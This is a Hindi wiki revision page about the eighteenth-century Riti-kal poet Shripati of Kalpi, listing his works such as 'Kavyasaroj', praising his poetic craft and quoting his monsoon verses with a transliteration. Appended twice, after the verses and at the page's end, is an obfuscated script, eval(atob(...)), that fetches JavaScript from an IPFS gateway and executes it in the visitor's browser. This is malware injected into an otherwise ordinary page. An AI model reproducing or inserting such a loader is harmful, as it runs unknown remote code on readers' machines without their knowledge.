Difference between revisions of "श्रीपति (कवि)"

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
('*श्रीपति कालपी के रहने वाले कान्यकुब्ज ब्राह्मण ...' के साथ नया पन्ना बनाया)
 
 
(3 intermediate revisions by one other user not shown)
Line 1: Line 1:
*श्रीपति [[कालपी]] के रहने वाले कान्यकुब्ज [[ब्राह्मण]] थे।  
+
*श्रीपति [[कालपी]] के रहने वाले कान्यकुब्ज [[ब्राह्मण]] एवं [[रीति काल]] के कवि थे।  
 
*इन्होंने संवत 1777 में 'काव्यसरोज' नामक रीति ग्रंथ बनाया। इसके अतिरिक्त इनके निम्नलिखित ग्रंथ और हैं -  
 
*इन्होंने संवत 1777 में 'काव्यसरोज' नामक रीति ग्रंथ बनाया। इसके अतिरिक्त इनके निम्नलिखित ग्रंथ और हैं -  
 
#कविकल्पद्रुम,  
 
#कविकल्पद्रुम,  
Line 11: Line 11:
 
*आचार्यत्व के अतिरिक्त कवित्व भी इनमें ऊँची कोटि का था। रचना विवेक इनमें बहुत ही जागृत और रुचि अत्यंत परिमार्जित थी। झूठे शब्दाडंबर में ये बहुत कम पड़े हैं। [[अनुप्रास अलंकार|अनुप्रास]] इनकी रचनाओं में बराबर आए हैं, पर उससे अर्थ या भावव्यंजना में बाधा नहीं पडती है। अधिकतर अनुप्रास रसानुकूल वर्णविन्यास के रूप में आकर [[भाषा]] में कहीं ओज, कहीं माधुर्य घटित करते मिलते हैं।  
 
*आचार्यत्व के अतिरिक्त कवित्व भी इनमें ऊँची कोटि का था। रचना विवेक इनमें बहुत ही जागृत और रुचि अत्यंत परिमार्जित थी। झूठे शब्दाडंबर में ये बहुत कम पड़े हैं। [[अनुप्रास अलंकार|अनुप्रास]] इनकी रचनाओं में बराबर आए हैं, पर उससे अर्थ या भावव्यंजना में बाधा नहीं पडती है। अधिकतर अनुप्रास रसानुकूल वर्णविन्यास के रूप में आकर [[भाषा]] में कहीं ओज, कहीं माधुर्य घटित करते मिलते हैं।  
 
*पावस ऋतु का तो इन्होंने बड़ा ही अच्छा वर्णन किया है। इनकी रचना के कुछ उदाहरण इस प्रकार हैं -  
 
*पावस ऋतु का तो इन्होंने बड़ा ही अच्छा वर्णन किया है। इनकी रचना के कुछ उदाहरण इस प्रकार हैं -  
<poem>जल भरे झूमैं मानौ भूमै परसत आय,
+
<blockquote><poem>जल भरे झूमैं मानौ भूमै परसत आय,
 
दसहु दिसान घूमैं दामिनि लए लए।
 
दसहु दिसान घूमैं दामिनि लए लए।
 
धूरिधार धूमरे से, धूम से धुंधारे कारे,
 
धूरिधार धूमरे से, धूम से धुंधारे कारे,
Line 36: Line 36:
 
हरषि कुमुद फूलै नंद को दुलारो है।
 
हरषि कुमुद फूलै नंद को दुलारो है।
 
रंजन मदन, तन गंजन बिरह, बिबि,
 
रंजन मदन, तन गंजन बिरह, बिबि,
खंजन सहित चंदबदन तिहारो है
+
खंजन सहित चंदबदन तिहारो है</poem></blockquote>
</poem>
 
 
 
  
  
Line 48: Line 46:
 
==सम्बंधित लेख==
 
==सम्बंधित लेख==
 
{{भारत के कवि}}
 
{{भारत के कवि}}
[[Category:रीति काल]][[Category:मुग़ल साम्राज्य]]
+
[[Category:रीति काल]][[Category:रीतिकालीन कवि]]
 
[[Category:कवि]][[Category:साहित्य_कोश]]
 
[[Category:कवि]][[Category:साहित्य_कोश]]
 
__INDEX__
 
__INDEX__
[[Category:1857]]
 

Latest revision as of 09:47, 14 October 2011

  • shripati kalapi ke rahane vale kanyakubj brahman evan riti kal ke kavi the.
  • inhoanne sanvat 1777 mean 'kavyasaroj' namak riti granth banaya. isake atirikt inake nimnalikhit granth aur haian -
  1. kavikalpadrum,
  2. rasasagar,
  3. anuprasavinod,
  4. vikramavilas,
  5. saroj kalika,
  6. alankaraganga.
  • shripati ne kavy ke sab aangoan ka niroopan kiya hai.
  • doshoan ka vichar adhik vistar ke sath kiya hai aur doshoan ke udaharanoan mean keshavadas ke bahut se pady rakhe haian. isase inaka sahityik vishayoan ka jnan pata chalata hai. *'kavyasaroj' bahut hi praudh granth hai. kavyaangoan ka niroopan jis spashtata ke sath inhoanne kiya hai usase inaki svachchh buddhi ka parichay milata hai. yadi us kal mean gady vyakhya ki riti hoti to shripati acharyatv aur bhi adhik poornata ke sath pradarshit kar sakate the.
  • acharyatv ke atirikt kavitv bhi inamean ooanchi koti ka tha. rachana vivek inamean bahut hi jagrit aur ruchi atyant parimarjit thi. jhoothe shabdadanbar mean ye bahut kam p de haian. anupras inaki rachanaoan mean barabar ae haian, par usase arth ya bhavavyanjana mean badha nahian padati hai. adhikatar anupras rasanukool varnavinyas ke roop mean akar bhasha mean kahian oj, kahian madhury ghatit karate milate haian.
  • pavas rritu ka to inhoanne b da hi achchha varnan kiya hai. inaki rachana ke kuchh udaharan is prakar haian -

jal bhare jhoomaian manau bhoomai parasat ay,
dasahu disan ghoomaian damini le le.
dhooridhar dhoomare se, dhoom se dhuandhare kare,
dhuravan dhare dhavaian chhavi soan chhe chhe
shripati sukavi kahai gheri gheri ghaharahian,
takat atan tan tav tean te te.
lal binu kaise lajachadar rahaigi aj,
kadar karat mohian badar naye naye

saras ke nadan ko bad na sunat kahooan,
nahak hi bakavad dadur maha karai.
shripati sukavi jahaan oj na sarojan ki,
phool n phulat jahi chit dai chaha karai
bakan ki bani ki birajati hai rajadhani,
kaee soan kalit pani pherat haha kare.
ghoanghan ke jal, jamean naree seval byal,
aise papi tal ko maral lai kaha karai?

ghooanghat udayagirivar taian nikasi roop
sudha so kalit chhavi kirati bagaro hai.
harin dithauna syam sukh sil barashat,
karashat sok, ati timir bidaro hai
shripati biloki sauti barij malin hot,
harashi kumud phoolai nand ko dularo hai.
ranjan madan, tan ganjan birah, bibi,
khanjan sahit chandabadan tiharo hai


<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

sambandhit lekh

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>